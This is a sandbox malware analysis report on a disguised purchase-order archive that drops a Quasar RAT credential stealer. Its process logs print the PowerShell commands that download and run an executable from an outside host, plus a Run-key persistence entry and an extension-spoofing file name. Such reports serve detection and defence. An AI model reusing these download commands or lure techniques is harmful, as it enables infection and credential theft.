Malware Analysis Report

2024-10-19 08:36

Sample ID 240729-jeng5sydqk
Target jdconstructnOrder_fdp.rar
SHA256 d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600
Tags
discovery execution quasar office04 credential_access persistence spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d5c58db5059aefcb3abcc09914655780472d653ccf7f42dfacf7d5d66b8ea600

Threat Level: Known bad

The file jdconstructnOrder_fdp.rar was found to be: Known bad.

Malicious Activity Summary

discovery execution quasar office04 credential_access persistence spyware stealer trojan

Quasar payload

Quasar RAT

Credentials from Password Stores: Credentials from Web Browsers

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Downloads MZ/PE file

Executes dropped EXE

.NET Reactor proctector

Checks computer location settings

Reads user/profile data of web browsers

Reads WinSCP keys stored on the system

Adds Run key to start application

System Location Discovery: System Language Discovery

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-29 07:35

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-29 07:35

Reported

2024-07-29 07:37

Platform

win7-20240705-en

Max time kernel

14s

Max time network

23s

Command Line

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FD33.tmp\FD34.tmp\FD35.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

Network

N/A

Files

memory/1056-13-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

memory/1056-12-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

memory/1056-11-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

memory/1056-10-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

memory/1056-9-0x00000000022A0000-0x00000000022A8000-memory.dmp

memory/1056-8-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

memory/1056-7-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

memory/1056-6-0x000007FEF507E000-0x000007FEF507F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\FD33.tmp\FD34.tmp\FD35.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/1056-14-0x000007FEF4DC0000-0x000007FEF575D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TLHZCW1YK4EQO8YFTMQ0.temp

MD5 6e841bff0316c7155ddb5f1831b5c7d1
SHA1 64fbf22b57116c43cb8bd09a2ec6de8008ba91e4
SHA256 56b0abbab4702baf6a30d4925ad33520040dc402e218dfcccbd4324eb41efa9a
SHA512 41511444e34559bfda88f4c6f321d0b3ff26c829571c263c6430dfe0f3f9c3ff2089c026c9f9751203e207a9a41a23c6cb19c08c2e49aa870d4d0ccb8519b538

memory/2776-20-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

memory/2776-21-0x00000000022B0000-0x00000000022B8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-29 07:35

Reported

2024-07-29 07:38

Platform

win10v2004-20240709-en

Max time kernel

145s

Max time network

157s

Command Line

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Reads WinSCP keys stored on the system

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkRun.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\networkrunfdp.exe" C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe

"C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BA76.tmp\BA87.tmp\BA88.bat C:\Users\Admin\AppData\Local\Temp\jdconstructnOrder‮fdp..exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/purchaseOrder.jpg' -OutFile purchaseOrder.jpg"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Powershell -Command "Invoke-WebRequest 'https://jdvdpconstructionltdfileportal.replit.app/networkrunfdp.exe' -OutFile networkrunfdp.exe"

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

networkrunfdp.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 71.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
US 8.8.8.8:53 jdvdpconstructionltdfileportal.replit.app udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 233.33.117.34.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 34.117.33.233:443 jdvdpconstructionltdfileportal.replit.app tcp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 oshi.at udp
CZ 194.15.112.248:443 oshi.at tcp
US 8.8.8.8:53 248.112.15.194.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 192.228.105.2:4782 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 ipwho.is udp
DE 195.201.57.90:443 ipwho.is tcp
US 8.8.8.8:53 2.105.228.192.in-addr.arpa udp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 90.57.201.195.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\BA76.tmp\BA87.tmp\BA88.bat

MD5 9aaac0122442ca0ebb4d8bb795e86676
SHA1 594744d8e4d51273dd435c3fac5799bc5f180e8c
SHA256 6af7e75e339241dac26eca99aa1290c1f420b45b4231212d20adf08aa287e373
SHA512 d08a0dd3b40d80c7582c3f69a7868371e7eb03ac6f4658a39e7a9fb1dd34cc22a5e91d60b31af71c77cebfe0fd0c3827fdbb3cc35224189388345c61e756636c

memory/5104-2-0x00007FFE5D653000-0x00007FFE5D655000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00nrruty.2yd.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5104-3-0x000001F362D00000-0x000001F362D22000-memory.dmp

memory/5104-13-0x00007FFE5D650000-0x00007FFE5E111000-memory.dmp

memory/5104-14-0x00007FFE5D650000-0x00007FFE5E111000-memory.dmp

memory/5104-18-0x00007FFE5D650000-0x00007FFE5E111000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ba7bb8c22d72f7d6094bf4b7a11fd2df
SHA1 e68eab39081c17997a16bca1667f1544f11804a5
SHA256 0b479a9a243e4fa548d64277229f3c72cc7c6773001a235fc406c74e98d32b1a
SHA512 58288cb73c35eb08b28f9ad0e96ed17e89b6e361c015c233deba9eb39a928e7216576c897bed531625171606ff9952361c40b14df27c0aa7e2e68228aeb0de4c

C:\Users\Admin\AppData\Local\Temp\networkrunfdp.exe

MD5 a18b7de2990becc30f700720e19ebfef
SHA1 b48c1a5c7756bccfe05d7999daeb96e7ab688cfd
SHA256 2bf98c947ce0bd8e6e6a0c0493af056790d61ab86c7c47896b4688bdc60b68b5
SHA512 484f8faf3973b74c96b6fea157774c627044fa4631e127de30f9f93468d38e73befa3c3bff3ea07108c82d943c9b56e79c5d6391d0e3a9b197869b0715d2808b

memory/2268-35-0x0000000000350000-0x00000000003BE000-memory.dmp

memory/2268-42-0x00000000055F0000-0x0000000005915000-memory.dmp

memory/2268-43-0x0000000006060000-0x0000000006384000-memory.dmp

memory/2268-44-0x0000000006930000-0x0000000006ED4000-memory.dmp

memory/2268-45-0x0000000005DE0000-0x0000000005E72000-memory.dmp

memory/2268-46-0x0000000005DD0000-0x0000000005DDA000-memory.dmp

memory/2268-47-0x00000000065D0000-0x0000000006620000-memory.dmp

memory/2268-48-0x00000000066E0000-0x0000000006792000-memory.dmp

memory/2268-49-0x0000000007500000-0x0000000007B18000-memory.dmp

memory/2268-50-0x0000000007210000-0x0000000007222000-memory.dmp

memory/2268-51-0x0000000007270000-0x00000000072AC000-memory.dmp

memory/2268-52-0x0000000007320000-0x0000000007386000-memory.dmp